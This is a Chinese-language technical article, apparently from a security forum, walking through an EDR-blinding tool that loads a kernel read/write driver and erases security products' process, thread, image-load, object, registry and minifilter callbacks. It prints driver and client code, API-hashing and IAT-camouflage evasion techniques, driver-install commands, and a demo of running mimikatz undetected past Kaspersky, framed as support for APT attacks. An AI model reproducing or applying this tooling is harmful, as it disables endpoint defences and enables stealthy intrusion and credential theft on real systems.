内核攻防-(2)致盲EDR
leviathanraiden 技术文章 1099浏览 · 2025-02-05 18:33

项目地址

https://github.com/k3lpi3b4nsh33/BlindEdr

需求背景

在APT攻击中,使用驱动致盲EDR(Endpoint Detection and Response)的意义在于通过加载恶意或修改的驱动程序,直接操作内核数据结构,禁用或清除EDR的回调和监控机制,从而绕过安全检测。这种方法能够隐藏攻击行为、规避日志记录和实时响应,确保攻击活动在受害系统中悄无声息地进行,提高持久性和隐蔽性。

驱动解析

项目代码: https://github.com/k3lpi3b4nsh33/rwdriver

这个函数 devctrl_RwMemory 是一个典型的驱动层代码,通常用于设备驱动程序的 I/O 控制请求处理,特别是和内存读写操作相关的情况。

功能描述

在内核模式下执行内存读写操作,用于在同一进程内复制内存数据。

参数说明

● DeviceObject: 设备对象指针(未使用)

● irp: I/O请求包指针

● irpSp: IRP栈位置指针

主要流程

获取并验证系统缓冲区

验证内存操作参数(源地址、目标地址、大小)

● 执行内存复制操作

● 完成 IRP 请求

返回值

● 成功:STATUS_SUCCESS

● 失败:STATUS_INVALID_PARAMETER 或 STATUS_UNSUCCESSFUL

使用示例

通过设备 I/O 控制代码调用此函数,传入 MEMORY_OPERATION 结构体,包含源地址、目标地址和复制大小。



​
C
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NTSTATUS devctrl_RwMemory(PDEVICE_OBJECT DeviceObject, PIRP irp, PIO_STACK_LOCATION irpSp)
{
UNREFERENCED_PARAMETER(DeviceObject);
NTSTATUS status = STATUS_UNSUCCESSFUL;
SIZE_T bytesTransferred = 0;

// Get the system buffer and validate input parameters
PVOID pBuffer = irp->AssociatedIrp.SystemBuffer;
ULONG bufferLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;

if (!pBuffer || bufferLength < sizeof(MEMORY_OPERATION)) {
status = STATUS_INVALID_PARAMETER;
goto Exit;
}

// Cast buffer to our memory operation structure
PMEMORY_OPERATION memOp = (PMEMORY_OPERATION)pBuffer;
// Validate memory operation parameters
if (!memOp->SourceAddress || !memOp->DestinationAddress || !memOp->Size) {
status = STATUS_INVALID_PARAMETER;
goto Exit;
}

// Get current process context
PEPROCESS CurrentProcess = IoGetCurrentProcess();
// Perform the memory copy operation
status = MmCopyVirtualMemory(
CurrentProcess,
memOp->SourceAddress,
CurrentProcess,
memOp->DestinationAddress,
memOp->Size,
KernelMode, // Explicitly specify kernel mode
&bytesTransferred
);

Exit:
// Set IRP completion status
irp->IoStatus.Status = status;
irp->IoStatus.Information = NT_SUCCESS(status) ? bufferLength : 0;
IoCompleteRequest(irp, IO_NO_INCREMENT);
return status;
}


可能的应用场景

该函数实现了一种基于 IOCTL 的内存操作机制,这在驱动开发中有以下典型用途:

1内存读写工具

○用户模式程序通过 IOCTL 调用该函数,向驱动请求读写当前进程的特定内存区域。这通常用于开发调试工具或与进程交互的应用程序。

2内核态内存编辑

○ 函数内部调用了 MmCopyVirtualMemory,可以用于直接操作进程的虚拟内存空间。常见的用途包括:

■调试器工具(读取或写入目标进程的内存)。

■数据注入(在内存中写入特定的数据,比如游戏外挂、数据修改器等工具)。

■内存复制操作的驱动辅助实现。

3反病毒软件或内存分析工具

○此代码也可以用于安全领域,例如反病毒引擎或内存分析工具,用于从特定进程中提取敏感信息。



驱动利用Exe解析

项目代码:https://github.com/k3lpi3b4nsh33/BlindEdr

项目结构

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C
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[项目根目录] BlindEdr/
├── Source Files/
│ ├── main.c # 主程序入口
│ ├── Common.c # 通用功能实现
│ ├── ApiHashing.c # API哈希相关功能
│ ├── Context.c # 上下文管理
│ ├── EDRDetector.c # EDR检测器
│ └── DriverNameUtils.c # 驱动程序名称工具
│
├── BlindEDR/ # EDR相关功能模块
│ ├── CallbackManager.c # 回调管理器
│ ├── ObjectCallbackManager.c # 对象回调管理
│ ├── RegistryCallbackManager.c # 注册表回调管理
│ └── FiilterCallbackManager.c # 过滤器回调管理
│
├── Header Files/
│ ├── Common.h # 通用头文件
│ ├── Structs.h # 结构定义
│ ├── RemoveCallBacks.h # 回调移除功能
│ ├── Debug.h # 调试功能
│ ├── FunctionPointers.h # 函数指针定义
│ ├── ApiHashing.h # API哈希头文件
│ ├── IatCamo.h # IAT伪装功能
│ └── Disclaimer.h # 免责声明
│
├── Resource Files/ # 资源文件目录
│
└── Build Files/
├── BlindEdr.vcxproj # Visual Studio项目文件
├── BlindEdr.vcxproj.filters # 项目筛选器配置
└── x64/
└── Release/
└── BlindEdr.exe.recipe # 生成配置文件


核心原理

所有操作的原理是:我已经能控制驱动的内存读写函数,通过这个函数去修改相关EDR内核数据结构的地址。

在 Common.c中,DriverMemoryOperation 这个函数是与驱动交互的关键函数。它是传入了一个结构体 PMemOp,然后在驱动中是用 MmCopyVirtualMemory这个进行操作。从R3的角度来说,我们就是用了一个Memcpy的函数进行操作,但是我们现在的Memcpy函数处于驱动层。

​
C
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VOID DriverMemoryOperation(
PVOID fromAddress, // Source ptr
PVOID toAddress, // Target ptr
size_t len, // Length
MEMORY_OPERATION opType)
{
PBasic_INFO pbasic_info = GetContext();

PMemOp req = NULL;
DWORD bytesRet = 0;
BOOL success = FALSE;

HANDLE hDevice = GetContextHandle();
PMemoryPatch ppt = GetPatchTable();

// Backup kernel memory before write operations
if (opType == MEMORY_WRITE && (UINT64)toAddress > 0xFFFF000000000000)
{
PMemOp bkreq = NULL;
PMemoryPatch cpt = NULL;
PCHAR pBackup = (PCHAR)calloc(len, 1);

if (pBackup)
{
bkreq = (PMemOp)malloc(sizeof(MemOp));
if (bkreq)
{
// Configure backup request
bkreq->SourceAddress = toAddress;
bkreq->Size = len;
bkreq->DestinationAddress = pBackup;

success = DeviceIoControl(hDevice, RW_MEM_CODE, bkreq,
sizeof(MemOp), bkreq, sizeof(MemOp), &bytesRet, NULL);

if (success)
{
// Update patch table
cpt = (PMemoryPatch)malloc(sizeof(MemoryPatch));
if (cpt)
{
cpt->pAddr = toAddress;
cpt->szData = len;
cpt->pData = pBackup;
cpt->pNext = pbasic_info->PatchTable;
pbasic_info->PatchTable = cpt;
}
}
free(bkreq);
}
else {
free(pBackup);
}
}
}

// Execute memory operation
req = (PMemOp)malloc(sizeof(MemOp));
if (req)
{
req->SourceAddress = fromAddress;
req->Size = len;
req->DestinationAddress = toAddress;

success = DeviceIoControl(hDevice, RW_MEM_CODE, req,
sizeof(MemOp), req, sizeof(MemOp), &bytesRet, NULL);

if (!success) {
CloseHandle(hDevice);
}
free(req);
}
}


API哈希动态获取

这个实现的主要目的和意义:

1反检测和反调试

●避免在程序中直接存储 API 函数名称字符串

● 规避静态分析和特征码检测

● 增加逆向分析的难度

2动态解析

●使用哈希值代替明文字符串

● 运行时动态计算和匹配 API 函数

●绕过导入表(IAT)监控



首先先编写 CityHash的函数,我这里用了三个不同的哈希值进行计算分别是 FIRST_HASH、SECOND_HASH、THIRD_HASH



API 函数解析流程 GetProcAddressH

1遍历模块导出表

2计算每个导出函数名的哈希值

3与预定义哈希值比对

4处理转发函数情况

5返回匹配函数地址



模块句柄的获取 GetModuleHandleH

1支持内核模块和用户模块的处理

2使用 NtQuerySystemInformation 获取系统模块信息

3大小写不敏感的哈希匹配

具体是怎么使用,见GetFuncAddressH,在这里需要加载的是FLTMGR.SYS、NTOSKRNL.exe

EDR 解决方案是一个高级的终端安全工具,能够实时检测、响应和记录终端的安全事件。它通常依赖于文件系统的过滤功能来监控文件活动,并及时捕捉威胁。

FLTMGR.SYS 的作用:

● 文件操作监控:EDR 通过使用 Windows 提供的文件系统过滤器框架(基于 FLTMGR.SYS),拦截文件的创建、读取、修改和删除等操作。比如,当恶意软件试图加密文件时,EDR 可以实时监测和阻止。

● 行为记录:EDR 使用 FLTMGR.SYS 提供的功能记录终端上的文件活动日志,包括文件路径、修改时间、用户行为等,为威胁分析和回溯提供数据支持。

● 实时拦截:基于过滤器驱动,EDR 能够在文件操作真正发生前拦截威胁操作(如未知程序写入文件或尝试修改系统文件)。

NTOSKRNL.exe 的作用

● FLTMGR.SYS:作为文件系统过滤管理器,与 NTOSKRNL.EXE 协同工作,处理文件操作请求。

● 驱动程序:所有内核模式驱动程序都依赖 NTOSKRNL.EXE 提供的接口。

● 用户模式程序:用户程序通过系统调用访问 NTOSKRNL.EXE 的功能(例如文件读写、网络通信)。



​
C
复制代码
UINT64 GetFuncAddressH(IN UINT32 ModuleNameHash, IN UINT32 FuncNameHash)
{
// Get kernel module base
PVOID KBase = GetModuleBaseH(ModuleNameHash);
if (!KBase) {
return 0;
}

// Get user-mode module handle
HMODULE hModule = NULL;
HMODULE hKernel32 = GetModuleHandleH(kernel32dll_CH, FALSE);
if (!hKernel32) {
return 0;
}

// Load appropriate module
if (ModuleNameHash == FLTMGRSYS_CH) {
fnLoadLibraryExA pLoadLibraryEx = (fnLoadLibraryExA)GetProcAddressH(hKernel32, LoadLibraryExA_CH);
if (pLoadLibraryEx) {
hModule = pLoadLibraryEx("C:\\windows\\system32\\drivers\\FLTMGR.SYS",
NULL, DONT_RESOLVE_DLL_REFERENCES);
}
} else if(ModuleNameHash == NTOSKRNLEXE_CH){
fnLoadLibraryA pLoadLibrary = (fnLoadLibraryA)GetProcAddressH(hKernel32, LoadLibraryA_CH);
if (pLoadLibrary) {
hModule = pLoadLibrary("ntoskrnl.exe");
}
}

if (!hModule) {
return 0;
}

// Get and calculate final function address
VOID* ProcAddr = GetProcAddressH(hModule, FuncNameHash);
return ProcAddr ? ((UINT64)KBase + ((UINT64)ProcAddr - (UINT64)hModule)) : 0;
}
这段代码实现了一个智能的内核函数地址解析机制。首先获取目标内核模块的实际基地址,然后通过哈希匹配从 kernel32.dll 中获取 LoadLibraryExA/LoadLibraryA 函数。对于 FLTMGR.SYS,使用 LoadLibraryExA 并指定 DONT_RESOLVE_DLL_REFERENCES 标志加载驱动文件作为模板;对于 ntoskrnl.exe,则使用普通的 LoadLibraryA 加载。通过计算目标函数在用户态加载的模块中的偏移,再加上实际的内核模块基地址,最终得到函数在内核空间中的真实地址。

这种方法避免了直接读取内核内存,同时通过哈希隐藏了敏感的函数名和模块名。



各EDR特征

必要函数

IsEDRHash

IsEDRHash 的基本原理是通过对驱动程序名称(DriverName)的哈希值或名称前缀匹配来检测特定的安全防护软件驱动程序(如杀毒软件或EDR工具)。



哈希值匹配:

●将驱动程序名称转换为一个唯一的哈希值。

● 与内置的已知安全驱动程序的哈希列表(AVDriverHashes)逐一比较。

● 如果匹配,则说明该驱动程序属于已知的安全软件,返回 TRUE。

字符串匹配:

● 检查驱动程序名称是否包含某些已知的字符串(PrefixKESDriver)。

● 如果名称中包含这些特定前缀,也返回 TRUE。

FindPattern

1在内存中按字节逐地址扫描,寻找符合指定模式的指令或数据结构。

2模式匹配由外部定义的验证函数(如 ValidateLeaPattern、ValidateCallJmpPattern 等)提供逻辑。

3适配不同的模式和用途,例如:

寻找特定的汇编指令(如 LEA 或 CALL)。

定位内核中的特定回调函数或数据结构。

​
C
复制代码
// Find pattern in memory
UINT64 FindPattern(UINT64 startAddress, const PATTERN_SEARCH* pattern, int maxCount) {
if (!pattern || pattern->length == 0) {
return 0;
}

BYTE* buffer = (BYTE*)malloc(pattern->length);
if (!buffer) {
return 0;
}

int count = 0;
UINT64 currentAddr = startAddress;

while (count++ < maxCount) {
// Read memory at current address
DriverMemoryOperation((VOID*)currentAddr, buffer, pattern->length, MEMORY_WRITE);

if (pattern->validate) {
if (pattern->validate(buffer)) {
free(buffer);
return currentAddr;
}
}

currentAddr++;
}

free(buffer);
return 0;
}

1 验证输入参数:

○ 如果传入的 pattern 是空指针,或者其长度为 0,则直接返回 0(表示未找到)。

○ 同时,分配一块内存缓冲区(大小为 pattern->length),用于存储从目标地址读取的内存内容。

​
C
复制代码
BYTE* buffer = (BYTE*)malloc(pattern->length);
if (!buffer) {
return 0;
}
2 初始化搜索状态:

○ currentAddr:从 startAddress 开始。

○ count:控制循环次数。

​
C
复制代码
UINT64 currentAddr = startAddress;
int count = 0;
3 逐地址搜索:

○ 循环最多 maxCount 次,每次从当前地址读取长度为 pattern->length 的内存内容到缓冲区 buffer 中:

​
C
复制代码
DriverMemoryOperation((VOID*)currentAddr, buffer, pattern->length, MEMORY_WRITE);
DriverMemoryOperation 是一个自定义函数,用于从指定的内存地址读取数据。

4 调用验证函数:

○ 如果模式结构中提供了验证函数 pattern->validate,就将读取到的内存数据(buffer)传入验证函数:

​
C
复制代码
if (pattern->validate) {
if (pattern->validate(buffer)) {
free(buffer);
return currentAddr;
}
}
○ 如果验证函数返回 TRUE,表示当前地址的数据匹配目标模式,返回当前地址。

5 继续搜索:

○ 如果当前地址的数据不匹配目标模式,则将地址递增 1,继续搜索下一地址的内容:

​
C
复制代码
currentAddr++;
6 释放资源:

○ 如果搜索到 maxCount 次仍未找到匹配的模式,释放分配的内存并返回 0,表示未找到:

​
C
复制代码
free(buffer);
return 0;


示例:匹配 LEA RAX, [RIP+Offset] 指令

假设内存内容如下:

​
Plain Text
复制代码
Address: 0x1000 | 0x48 0x8D 0x05 0xA0 0x00 ...
Address: 0x1001 | 0x48 0x8D 0x05 0xB0 0x00 ...
调用:

​
C
复制代码
PATTERN_SEARCH leaPattern = {
.length = 3,
.validate = ValidateLeaRipPattern,
.name = "LEA_RIP"
};
UINT64 result = FindPattern(0x1000, &leaPattern, 100);
执行步骤:

1 DriverMemoryOperation 依次读取 0x1000、0x1001 的 3 个字节数据到 buffer。

2 调用 ValidateLeaRipPattern 检查:

○ 地址 0x1000 的内容 0x48 0x8D 0x05 匹配。

○ 返回地址 0x1000。

结果:

​
CalculateOffset

因为基本所有数据都是小端存储,所以我们要从后面往前面读取。

​
函数输入参数:

● UINT64 address:基地址,表示要从哪里开始读取数据。

● int startOffset:起始偏移,用于定义从哪个字节开始读取数据。

● int count:要读取的字节数量,表示读取多少字节作为偏移量。

主要功能步骤:

● 循环读取字节数据:

○ 从指定内存地址的某一偏移位置开始逐字节读取数据(DriverMemoryOperation )。

○按照字节顺序将每个字节拼接成一个 64 位偏移量。

● 符号扩展:

○ 如果计算出的偏移量的高位包含符号位(SIGN_EXTENSION_MASK),则对该值进行符号扩展(适用于负偏移量)。

​
● 返回结果:

○ 返回最终计算的偏移量(offset)。

代码逻辑示例

内存内容:

​
调用:

​
从地址 0x1000 + 3 开始逐字节读取,依次读取 0x40, 0x30, 0x20。

●拼接成偏移量:

● offset = (0x40 << 24) + (0x30 << 16) + (0x20 << 8)。

符号扩展:

●如果最高位为符号位(负数),则扩展符号位。

​
这个是 32位或者是64位的offset(如果是64位会进行符号补充)



之后我们得到了 offset之后就可以获得 base+offset = targetaddr

​
清除核心回调内核

CallbackManager.c

CallbackManager.c 实现了 Windows 内核回调的检测、管理和清理功能,主要用于处理进程创建、线程创建和镜像加载等系统回调。

这里删除的回调函数有三种

1进程创建回调:

哈希:PsSetCreateProcessNotifyRoutine_CH

监控进程创建和终止

2线程创建回调:

哈希:PsSetCreateThreadNotifyRoutine_CH

监控线程创建和终止

3镜像加载回调:

哈希:PsSetLoadImageNotifyRoutine_CH

监控DLL和驱动加载



回调处理函数(ProcessDriverCallback):

● 作用:检查特定驱动回调函数是否与 EDR 相关,若是,则清除回调。

● 实现细节:

○计算内存地址,读取回调信息。

○ 验证驱动程序名称,判断是否为已知的 EDR 驱动(使用 IsEDRHash 方法)。

○ 通过内核内存写入操作(DriverMemoryOperation),清除回调。

获取回调数组地址(GetPspNotifyRoutineArrayH):

● 作用:定位 PspNotifyRoutineArray 的地址,这是存储内核回调函数的数组。

● 实现细节:

○根据 Windows 版本判断如何解析地址。

○ 使用模式匹配(FindPattern)和指令偏移(CalculateOffset)提取目标地址。

○兼容不同版本的 Windows(如 Win7/Win10)。

打印和清除回调(PrintAndClearCallBack):

● 作用:扫描回调数组中的每个条目,打印其相关信息,并清除 EDR 回调。

● 实现细节:

○遍历回调数组,按索引逐一读取回调地址。

○通过位操作解析回调函数的实际地址。

○验证驱动程序名称,若是 EDR 驱动,清除其回调条目。

清除多种回调(ClearThreeCallBack):

● 作用:批量处理与进程、线程和模块加载相关的三种回调。采用结构体加循环的方法进行清除回调函数。

● 实现细节:

○ 定义多个回调类型(如 PsSetCreateProcessNotifyRoutine)。

○ 使用 GetPspNotifyRoutineArrayH 获取各回调的数组地址。

○ 调用 PrintAndClearCallBack 逐一清理回调。

​


FilterCallBackManager.c

函数 1:RemoveInstanceCallback

功能概述

1 遍历和处理 FLT_FILTER 对应的所有 FLT_INSTANCE 实例,清除其关联的回调节点。

2 每个 FLT_INSTANCE 可能关联多个回调节点(Callback Nodes),通过清除这些节点,可以移除某些 EDR 检测的挂钩机制。

核心逻辑解析

1初始化偏移量

● 通过操作系统版本号(dwMajor 和 dwBuild),动态确定 MiniFilter 数据结构中的关键偏移量:

○ instanceListOffset:FLT_FILTER 中实例列表的偏移。

○ instanceOffset:实例结构中下一实例的偏移。

○ CallBackOffset:回调节点数组的偏移。

如果这些偏移量未能成功获取,则直接退出。

2遍历实例列表

● 从 FLT_FILTER 中读取首个实例地址,循环遍历整个实例链表:

○ 通过读取实例列表指针(FilterInstanceAddr),计算实例链表的节点数(count)。

○依次访问每个实例并处理其内容。

3处理回调节点

● 遍历每个实例的回调节点数组(以 CallBackOffset 为基准):

○如果某个回调节点存在(不为 0),则:

■打印回调节点的地址。

■ 清除该回调节点的内存值(写入 0),实现回调清除。

4完成处理

●处理完所有节点后,遍历到下一个实例,直到链表末尾。

函数 2:ClearMiniFilterCallBack

功能概述

●枚举系统中所有 MiniFilter 驱动,并对其进行回调清理。

● 包括 FLT_FILTER 和 FLT_VOLUMES 数据结构的回调遍历和清除。

核心逻辑解析

1定位全局 MiniFilter 数据结构

● 通过搜索指定模式(调用 FindPattern 函数),找到 FltGlobals 数据结构的位置。

● 解析并计算全局框架(FLT_FRAME)的地址,提取指向 FLT_FILTER 和 FLT_VOLUMES 的指针。

2处理 MiniFilter 驱动列表

● 遍历 FLT_FILTER 链表:

○ 获取每个 MiniFilter 驱动的地址及名称(通过 ReadDriverName)。

○ 检查是否是与 EDR 相关的驱动(通过 IsEDRHash 判断)。

○ 如果是 EDR 驱动,调用 RemoveInstanceCallback,清除其回调实例。

3处理卷(Volume)回调

● 遍历 FLT_VOLUMES 链表:

○ 获取卷回调节点的基地址(VolumesCallback)。

○遍历并处理回调节点链表:

■ 检查节点是否属于 EDR 实例(IsEDRIntance)。

■ 如果是,则清除该节点,并更新链表链接(Flink 和 Blink)。

4输出处理结果

● 打印每个 FLT_FILTER 和 FLT_VOLUMES 的地址及处理情况,包括清理的节点数量。



ObjectCallBackManager.c

1 获取回调列表的头指针:

○ 根据对象类型(PsProcessType 或 PsThreadType),找到与 ObRegisterCallbacks 相关的回调链表头地址。

○使用特定的偏移量(取决于操作系统版本)解析内核结构。

2 遍历回调链表:

○ 逐个节点读取链表中注册的 PreOperation 和 PostOperation 回调函数地址。

3 判断是否为 EDR 回调:

○ 检查回调函数所属的驱动程序名称是否属于已知的 EDR 驱动(通过 IsEDRHash 函数)。

4 清除 EDR 回调:

○ 如果检测到是 EDR 回调,直接清空对应节点的回调地址(通过写入 0)。



1. ClearObRegisterCallbacks

功能

● 是整个逻辑的入口,负责调用其他函数枚举和清理与 ObRegisterCallbacks 相关的回调函数。

逻辑

1定义了两个对象类型:

● PsProcessType:进程对象回调。

● PsThreadType:线程对象回调。

2遍历对象类型数组,逐个处理每种对象类型的回调。

● 调用 GetPsProcessAndProcessTypeAddr 获取对应类型的回调链表头地址。

● 调用 RemoveObRegisterCallbacks 清理对应类型的回调链表。

2. GetPsProcessAndProcessTypeAddr

功能

● 根据对象类型(PsProcessType 或 PsThreadType),获取回调链表头的地址。

逻辑

1根据对象类型选择合适的内核函数:

● 进程类型选择 NtDuplicateObject_CH。

● 线程类型选择 NtOpenThreadTokenEx_CH。

2 通过模式搜索(FindPattern)定位回调链表头的地址指针。

● 使用 CalculateOffset 解析指令中的偏移量。

●读取指针的值,返回链表头地址。

3. RemoveObRegisterCallbacks

功能

●清除指定类型对象的回调列表中与 EDR 相关的回调。

逻辑

1 确定链表头地址:

●根据 OS 版本和对象类型,计算回调列表的偏移量。

● 读取链表头指针(Flink 和 Blink)。

2 遍历链表节点:

●遍历整个链表,统计回调节点数量。

● 对每个节点读取 PreOperation 和 PostOperation 回调地址。

3 清理回调:

● 对每个回调地址调用 ProcessCallback:

○检查回调地址对应的驱动名称。

○如果是 EDR 回调,清空其内存值。

●移动到链表中的下一个节点。

4. ProcessCallback

功能

●处理每个回调函数地址,检查是否属于 EDR 驱动,并清理回调。

逻辑

1 根据回调地址获取对应的驱动程序名称(GetDriverName)。

2 调用 IsEDRHash 检查驱动程序是否属于已知的 EDR 驱动。

3如果是 EDR 驱动,清除对应的回调地址,并打印清理信息。



RegistryCallbackManager.c

这段代码的主要作用是清理与 CmRegisterCallback 注册的注册表回调函数,同时枚举和打印当前已注册的驱动名称。通过修改回调链表的头节点地址(或其他字段),代码尝试绕过 Windows 内核的 PatchGuard 保护机制,从而清理或禁用特定的回调(如 EDR 相关的回调)。



获取回调链表地址:

● 使用 CmUnRegisterCallback 函数的地址,定位回调链表的头节点地址。

●通过模式匹配和偏移量计算得到链表头。

遍历回调链表:

●读取链表中的每个节点,提取注册的回调函数地址。

●获取回调函数所属驱动名称,并打印。

清空回调链表:

● 修改链表的头节点地址,使所有回调失效。

●仅修改头节点,避免触发 Windows 的 PatchGuard 检测。



常用的规避EDR技巧

IatCamouflage(IAT Camouflage)函数的主要功能是通过混淆手段隐藏真实的意图或行为,具体体现在以下几个方面:

1 动态内存分配和随机化:

○使用伪随机的种子和时间戳生成随机大小的内存缓冲区。

○在缓冲区中存储伪随机值,增加调试和分析的复杂度。

2 引入不可预测性:

○ 使用 __rdtsc()(获取 CPU 时间戳计数器)和随机化的哈希值生成不可预测的执行路径。

3 混淆 IAT 使用痕迹:

○ 调用一系列 Windows API 函数(如 GetTickCount64、GetSystemInfo 等),引入大量看似无关的操作。

○通过这些调用干扰逆向分析工具对 IAT(Import Address Table)依赖的行为分析。

4 隐藏执行逻辑:

○将随机生成的哈希值与动态计算值(基于时间戳和系统信息)混合,干扰静态和动态分析。

5 内存清理:

○在执行完伪代码逻辑后,释放分配的随机缓冲区,减少内存残留信息。

操作演示

开启windows 测试模式,然后重启系统

Snipaste_2025-01-15_14-30-45.png




Snipaste_2025-01-15_14-31-57.png


创建驱动服务,开启驱动服务。

​
Plain Text
复制代码
sc create rwdriver binPath= "C:\Users\Driver\Desktop\driver\rwdriver.sys" type= kernel start= demand
sc start rwdriver
Snipaste_2025-01-15_14-32-44.png




免责声明

Snipaste_2025-01-15_14-33-09.png




输入1致盲,输入2恢复致盲(需要有MemoryFile.data)

Snipaste_2025-01-15_14-33-32.png




具体致盲效果

image.png


如果去除了debug宏,就无显示

Snipaste_2025-01-15_14-37-22.png




Snipaste_2025-01-15_14-37-32.png




无感落地,因为已经把filter清除掉了

Snipaste_2025-01-15_14-38-35.png




直接骑在卡巴头上用mimikatz

Snipaste_2025-01-15_14-39-41.png




恢复致盲后,会直接禁止访问

Snipaste_2025-01-15_14-40-43.png




参考

https://www.pnpon.com/

AV/EDR 完全致盲 - 清除6大内核回调实现



鸣谢

1北秋风清

这个项目很大程度受到 RealBlindingEDR 的启发。从简单的小驱动写起,然后在进行驱动函数调用。

2指尖浮生(我师傅)



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